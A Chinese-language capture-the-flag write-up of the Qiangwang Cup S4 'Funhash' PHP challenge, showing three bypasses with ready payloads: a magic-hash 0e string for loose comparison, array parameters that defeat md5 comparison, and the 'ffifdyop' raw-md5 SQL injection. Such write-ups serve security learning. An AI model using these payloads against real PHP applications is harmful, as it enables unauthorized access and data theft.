强网杯S4:Funhash WriteUp

由 J1anCan 发布

题目链接

赛题还原:www.j1ancan.com:10001

WriteUp

访问题目网址,可以看到页面输出了源代码,题目分为三部分,需绕过前两部分的判断语句才能进入第三部分的sql查询语句

首先看第一部分,如果hash1不等于hash1的md4值,终止程序

funhash1.png

在php中,0e会被当做科学计数法,无论后面跟的内容是什么,结果都是0

php > var_dump("0e1111111111" == "0e2222222222");
bool(true)
php > var_dump((int)"0e1111111111", (int)"0e2222222222");
int(0)
int(0)

构造一个以0e开头的字符串且其md4密文同样是以0e开头即可绕过判断语句

Exp:hash1=0e251288019

funhash2.png

参考链接:https://crdx.org/post/hsctf-2019-md5-minus-minus

第二部分,如果hash2完全等于hash3或者hash2的md5密文完全不等于hash3的md5密文,终止程序

funhash3.png

md5有一个特性,不能加密数组

构造两个不同的数组变量即可绕过判断语句

Exp:hash2[]=1&hash3[]=2

funhash4.png

第三部分,程序通过sql语句查询flag,其中作为检索条件的password内容可控

funhash5.png

md5函数的第二个参数为true时,输出内容为原始二进制格式,会被作为字符串处理,可以触发sql注入

构造md5密文原始二进制格式包含 'or' 的字符串即可绕过判断语句

content: ffifdyop
hex: 276f722736c95d99e921722cf9ed621c
raw: 'or'6\xc9]\x99\xe9!r,\xf9\xedb\x1c
string: 'or'6]!r,b

Exp:hash4=ffifdyop

成功获取flag

funhash6.png


暂无评论

发表评论